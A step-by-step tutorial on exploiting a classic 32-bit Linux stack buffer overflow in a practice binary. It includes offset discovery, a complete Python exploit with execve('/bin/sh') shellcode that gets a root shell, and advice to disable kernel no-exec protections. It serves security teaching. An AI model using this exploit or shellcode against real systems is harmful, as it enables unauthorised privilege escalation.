This tutorial walks through exploiting a classic stack buffer overflow on a 32-bit Linux system. We’ll identify the vulnerability, find the EIP offset, and execute shellcode to spawn a shell.
For a visual introduction to how buffer overflows corrupt memory, the Memory Corruption Playground lets you trigger overflows and watch the stack corrupt in real time. The Exploit Chain Visualizer maps the full five-stage path from vulnerability discovery through code execution.
Initial Analysis
Identifying Vulnerable Functions
Use ltrace to trace library calls:
ltrace ./unknownIf you see strcpy being called with user-controlled input, the binary is likely vulnerable:
strcpy(0xbffff456, "user_input"...Checking Security Settings
Use checksec to identify protections:
checksec --file=./unknownFor this tutorial, we assume:
- NX disabled (executable stack)
- No stack canary
- No PIE
- ASLR disabled
Finding the EIP Offset
Discovering the Crash Point
The binary takes command-line arguments. Test for overflow:
gdb -q ./unknown
gdb-peda$ pattern create 400
gdb-peda$ run 'AAA%AAs...' # paste the patternAfter the crash:
Stopped reason: SIGSEGV
0x5a254177 in ?? ()
gdb-peda$ pattern offset 0x5a254177
1512391031 found at offset: 390Verifying EIP Control
Create a test payload:
# payload.py
payload = "A"*390
payload += "BBBB"
print(payload)gdb-peda$ run `python payload.py`
Stopped reason: SIGSEGV
0x42424242 in ?? ()EIP is under our control.
Locating the Buffer in Memory
Examine the stack to find where our buffer lands:
gdb-peda$ x/30wx $esp-0x190
0xbffff2a0: 0xb7fd91c0 0x4141fc08 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141The buffer begins at approximately 0xbffff2a6.
Testing Execution Flow
Using INT3 Breakpoints
Before adding shellcode, verify we can redirect execution using INT3 instructions:
# payload.py
payload = "\xcc"*390 # INT3 breakpoints
payload += "\xc0\xf2\xff\xbf" # EIP = 0xbffff2c0
print(payload)gdb-peda$ run `python payload.py`
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff2c1 in ?? ()We’re executing code on the stack.
Adding a NOP Sled
Add NOPs before the shellcode for reliability:
sc = "\xcc" # INT3 placeholder
nop = "\x90"*50
payload = ""
payload += nop
payload += sc
payload += "A"*(390-len(nop)-len(sc))
payload += "\xc0\xf2\xff\xbf" # EIP
print(payload)Creating the Exploit
Shellcode
Use a simple execve("/bin/sh") shellcode:
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"Complete Exploit
# exploit.py
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
nop = "\x90"*50
payload = ""
payload += nop
payload += sc
payload += "A"*(390-len(nop)-len(sc))
payload += "\xc0\xf2\xff\xbf" # Return address
print(payload)Testing in GDB
gdb-peda$ run `python exploit.py`
process 2911 is executing new program: /bin/dash
$Adjusting for Outside GDB
Memory addresses differ outside the debugger due to environment variables and other factors.
Generate a Core Dump
ulimit -c unlimited
./unknown `python exploit.py`Analyze the Core
gdb -q ./unknown ./core
gdb-peda$ x/40wx $esp-0x200Find the NOP sled and update the return address accordingly.
Final Execution
(python exploit.py; cat) | ./unknown
whoami
rootKey Concepts
Buffer Layout
[ NOP Sled ][ Shellcode ][ Padding ][ Return Addr ]
50 bytes 23 bytes 317 bytes 4 bytes
|
Points into NOP sledWhy NOPs?
The NOP sled provides a landing zone. Small variations in stack addresses between runs are absorbed by the sled, making the exploit more reliable.
Common Bad Characters
0x00- Null byte, terminates strings0x0a- Newline, may terminate input0x0d- Carriage return
Troubleshooting
Shellcode Not Executing
If execution fails with -z execstack:
-
Check kernel parameters - some require
noexec=off:# /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT="quiet noexec=off noexec32=off" -
Update grub and reboot:
sudo update-grub
Address Differences
Stack addresses differ between GDB and normal execution. Always verify with core dumps when exploiting outside the debugger.